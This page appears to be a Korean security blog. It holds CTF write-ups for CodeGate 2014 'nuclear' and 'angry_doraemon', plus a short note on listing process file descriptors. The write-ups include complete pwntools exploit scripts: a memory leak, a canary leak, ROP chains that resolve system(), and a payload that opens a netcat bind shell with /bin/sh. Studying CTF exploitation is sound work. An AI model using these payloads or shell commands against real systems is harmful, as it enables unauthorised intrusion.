바이너리는 NX와 ASLR이 설정되어 있다.

바이너리를 열어서 main을 보면 소켓통신을 하는것을 알 수 있다.

실행을 시키면 1129번 포트로 소켓을 연다.


그리고 소켓으로 통신을 하려고 하면 에러가 뜬다.

그래서 다른 함수들을 살펴봤다.

sub_8048C65에서 내가 뜨는 에러와 동일한 string을 찾았다.

THIS_IS_NOT_KEY_JUST_PASSCODE 이라는 파일을 open()하지 못해서 뜨는 에러였다.

이게 실제 문제서버에선 읽을 권한이 없어서 메모리릭을 통해서 값을 읽어야 하는 부분이였다.  (사실 첨에 풀때는 내가 임의로 만들어 줘야 되는건줄 앎..)


이제 해당 파일을 만들었으므로 nuclear 바이너리를 실행할 수 있다.


이렇게 뜬다.

뭔가를 입력해야하는것같은데 아무거나 입력하면..


이렇게 커맨드를 알 수 없다고 나온다.


ida로 명령어를 찾아야 겠다.

sub_8048C65를 자세히 보면 명령어를 알 수 있다.


quit, target, launch 이렇게 세 명령어가 있다.


각 명령어에서 뭔가 취약점이 터질거같으니 각각 살펴봤다.

launch를 실행하면 passcode를 입력하라고 한다.

THIS_IS_NOT_KEY_JUST_PASSCODE에 passcode가 적혀있는데 실제 문제에선 권한이 없어서 사용자가 정상적인 방법으로는 읽을 수 가 없다.

그래서 이 부분을 메모리 릭을 통해서 알아내야하는 것 같다.


launch 는 버퍼보다 작은 사이즈를 읽기 때문에 오버플로우가 터지진 않는다.


다음은 target이다.


타겟을 보면 sscanf()로 위도와 경도를 입력받는다.


여기까지 딱히 취약점이 보이지 않는다.

그래서 찾은 부분은 명령어로 지정된 문자열 외의 문자열을 입력했을 때 어떻게 처리하는지 확인해봤다.


보면  ebp-568에 들어간 값을 출력함수로 출력해준다. 

그리고 launch의 passcode를 비교하는 부분을 다시 보면 패스코드를 읽어오는 변수의 위치를 알 수가 있다.


ebp-48에 passcode가 들어가는 것을 알 수 있다.

즉 ebp-568엔 내가 입력한 명령어 혹은 내가 입력한 passcode가 들어갈 것이고 ebp-0x48에는 문제의 passcode가 있을 것이다.

즉 ebp-568부터 ebp-48까지 null이 없이 쭉 이어진다면 passcode를 릭 할 수 있다.

근데 내가 입력할 수 있는 바이트는 512바이트가 전부다. ($ebp-48) - ($ebp-568) 의 거리는 520바이트인데.. 난 512바이트까지 입력할 수 있다. 릭이 불가능할 줄 알았는데 gdb로 직접 값을 넣어서 테스트 했다.


일단 테스트겸 A 500바이트를 넣은 것이다.

보면 0xbffff410에는 어떠한 값 8바이트 들어가 있고, 그 다음에 passcode로 보이는 문자열이 있다.

즉 512바이트까지 채워서 넣으면 passcode까지 릭이 가능하단 의미이다.


그 다음으론 passcode를 찾았으니 passcode를 입력하면 nuclear가 발사된다.

passcode가 맞다고 하는 부분이다. 여기를 잘 보면 pthread_create()함수가 실행되는데 그 함수의 인자로 들어가는 부분에서 esp+0x8에 들어가는 값을 보면 0x08048b9c를 실행하는 thread 함수이다. 0x08048b9c를 봐야겠다.


0x08048b9c 함수다.

이 함수 내부에서도 pthread_create를 call한다.

이번에도 esp+0x8에 들어가는 함수를 따라 가본다.


찾았다...


ebp-524 부터 1298바이트를 입력받는 부분을 찾았다.

핵이 발사되고 나서 그 때 값을 보내주면 이 부분을 공략할 수 있다.

먼저 가젯을 구한 후 rop로 문제를 풀었다.


이 문제에선 recv, send 함수가 사용 중이여서 이 함수들로 got leak과 system함수 찾기, got overwrite를 할 수 있었다.

익스 코드를 작성하고 익스플로잇을 했다.



exploit code

from pwn import *

r = remote("localhost", 1129)
elf = ELF("./nuclear")
print r.recvuntil(">")

r.sendline("target")

print r.recvuntil("--->")

r.sendline("123.123/123.123")

print r.recvuntil(">")

r.sendline("A"*512)
print r.recvuntil("[!] Unknown command : ")
r.recv(512)
passcode = r.recv()[8:22]
log.info("passcode = {}".format(passcode))
r.close()

recv_plt = elf.plt['recv']
recv_got = elf.got['recv']
send_plt = elf.plt['send']
send_got = elf.got['send']
bss = elf.bss() 
ppppr = 0x804917c
system_offset = 0x18a5a0 # recv - system

log.info("recv@plt = {0}\nsend@plt = {1}\nsend@got = {2}".format(hex(recv_plt), hex(send_plt), hex(send_got)))

r = remote("localhost", 1129)

cmd = "nc -lvp 9076 -e /bin/sh\x00"

payload = "A"*528
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len(cmd)+1)
payload += p32(0)

payload += p32(send_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(recv_got) 
payload += p32(4)
payload += p32(0)

payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(recv_got)
payload += p32(4)
payload += p32(0)

payload += p32(recv_plt)
payload += "AAAA" 
payload += p32(bss)

print r.recvuntil(">")

r.sendline("launch")
print r.recvuntil("nuclear :")

r.sendline(passcode)
print r.recvuntil("COUNT DOWN : 100")

r.sendline(payload)
r.sendline(cmd)

libc_recv = u32(r.recv())

log.info("libc_recv = {}".format(hex(libc_recv)))
system_addr = libc_recv - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
r.sendline(p32(system_addr))


'CTF' 카테고리의 다른 글

Def-camp warmheap  (0) 2018.07.31
CodeGate2016 watermelon  (0) 2018.07.26
CodeGate 2014 angry_doraemon  (0) 2018.07.20
CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-4  (0) 2018.07.17

보호기법은 스택카나리와 NX가 걸려있다.

이 바이너리도 소켓으로 통신을 하는 바이너리라서 먼저 1번 터미널에서 실행을 시켜주고 2번 터미널에서 nc로 붙어야 한다.


실행을 하면 메뉴가 나온다.


근데 처음에 이 메뉴들을 실행을 시키면 open error라는 메시지가 뜨면서 바이너리가 종료된다.

그래서 아이다로 찾아보니 이 바이너리가 실행되는 위치에 각각 조건에 맞는 파일이 open()되지 않아서 open error라는 메시지를 띄워주는 것이였다.

그래서 각가 맞는 조건을 gdb와 ida를 보고 찾아서 생성해줬다.


그 후 각 메뉴를 실행해보면 도라에몽을 공격할 수도있고 체력을 회복시켜줄 수 도 있다.

각 메뉴에 대해 취약점이 존재하는지 확인해보았다.

4번 메뉴에서 취약점이 나온다.

4번 메뉴를 입력하면 y와 n을 입력받는데 그 때의 함수를 보면 read(fd, ebp-0x16, 0x6e) 이다.

즉 버퍼는 22만큼의 공간을 가지고 있는데.. read할 사이즈는 110이다.


해당 함수의 변수를 보면 

ebp-0x20

ebp-0x1c

ebp-0x16

ebp-0x12

ebp-0xe

ebp-oxc

ebp-0x8까지 있다.


즉 ebp-0x16부터 ebp+0x4까지 덮으려면 22바이트가 필요하다. 하지만 여기엔 카나리가 들어가므로 총 26바이트를 넣어준 후 다음 4바이트가 ret를 덮을 것이다.

이제 카나리 값을 알아야 하는데.

ebp-0x16에서 카나리를 릭해줘야 한다.

처음에 y를 8개 넣으니 당연히 아무값도 출력이 안된다.

그래서 9개를 넣어보았다.

하지만 9개도 카나리가 나오지 않았다.

즉 카나리의 첫바이트는 널바이트라는 것이다.

그래서 10개를 넣으니 카나리가 릭됐다.


카나리는 이렇게 릭을 해주면 되고..


처음엔 내부에 있는 execl()함수와 /bin/sh을 실행시키도록 코드를 짜서 rtl을 해보니 서버단에서 쉘이 따지고 attacker는 쉘이 보이지 않았다.

처음에 짠 exploit code

from pwn import *

def canary_leak():
	p = remote("localhost", 8888)

	print p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline("y"*10)
	print p.recvuntil("You choose '")
	dummy_canary = p.recvuntil("'!").split("\n")[1]
	canary = u32("\x00" + dummy_canary[0:3])
	ret = u32(dummy_canary[15:19])
	log.info("canary = {}".format(hex(canary)))
	log.info("ret = {}".format(hex(ret)))

	print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
	p.close()
	return canary

def exploit(canary):
	binsh = 0x804970d
	bss = 0x804b080
	execl_plt = 0x8048710
	pppr = 0x8048b2c

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12
	payload += p32(execl_plt)
	payload += p32(pppr)
	payload += p32(binsh)
	payload += p32(binsh)
	payload += p32(0)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)

	p.interactive()

if __name__ == "__main__":
	canary = canary_leak()
	exploit(canary)


위 방법은 attacker입장에선 무의미하다.

그래서 rop 가젯을 모아서 익스플로잇을 해주면 된다.

libc주소를 write()로 릭해서 system함수를 offset으로 구한 후 system()함수를 실행 해주면 익스가 된다. (최종적으론 리버스쉘로 풀었다.)



exploit code

from pwn import *

def canary_leak():
	p = remote("localhost", 8888)

	print p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline("y"*10)
	print p.recvuntil("You choose '")
	dummy_canary = p.recvuntil("'!").split("\n")[1]
	canary = u32("\x00" + dummy_canary[0:3])
	ret = u32(dummy_canary[15:19])
	log.info("canary = {}".format(hex(canary)))
	log.info("ret = {}".format(hex(ret)))

	print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
	p.close()
	return canary

def exploit(canary):
	read_plt = 0x8048620
	read_got = 0x804b010
	write_plt = 0x80486e0
	write_got = 0x804b040
	binsh = 0x804970d
	bss = 0x804b080
	system_offset = 0x9add0 # write - system
	pppr = 0x8048b2c
	#cmd = "/bin/sh -i <&4 >&4 2>&4\x00"
	#cmd = "ls -l | nc localhost 9076\x00"
	cmd = "nc -lvp 9076 -e /bin/sh\x00"

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12
	
	payload += p32(write_plt)
	payload += "JUNK"
	payload += p32(4)
	payload += p32(write_got)
	payload += p32(4)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)

	print len(p.recv())
	libc_write = u32(p.recv())
	log.info("libc_write = {}".format(hex(libc_write)))
	system_addr = libc_write - system_offset
	log.info("system_addr = {}".format(hex(system_addr)))	

	p.close()

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12

	payload += p32(read_plt)
	payload += p32(pppr)
	payload += p32(4)
	payload += p32(bss)
	payload += p32(len(cmd))
	
	payload += p32(system_addr)
	payload += "JUNK"
	payload += p32(bss)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)
	print p.recv()
	p.sendline(cmd)
	p.interactive()

if __name__ == "__main__":
	canary = canary_leak()
	exploit(canary)


'CTF' 카테고리의 다른 글

CodeGate2016 watermelon  (0) 2018.07.26
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14

실행중인 프로세스의 pid 확인

pid = 7915


proc에서 해당 pid의 fd 확인

ls -l /proc/[pid]/fd


Ref.http://mintnlatte.tistory.com/377

'OS > linux' 카테고리의 다른 글

linux include 파일 찾기  (0) 2020.07.02
/proc/self/cwd  (0) 2019.05.09
리눅스 넘버링?  (0) 2018.03.27
리눅스 세션 연결 시 history 자동 삭제하기  (0) 2018.03.20
vim 화면 스크롤  (0) 2018.02.15

+ Recent posts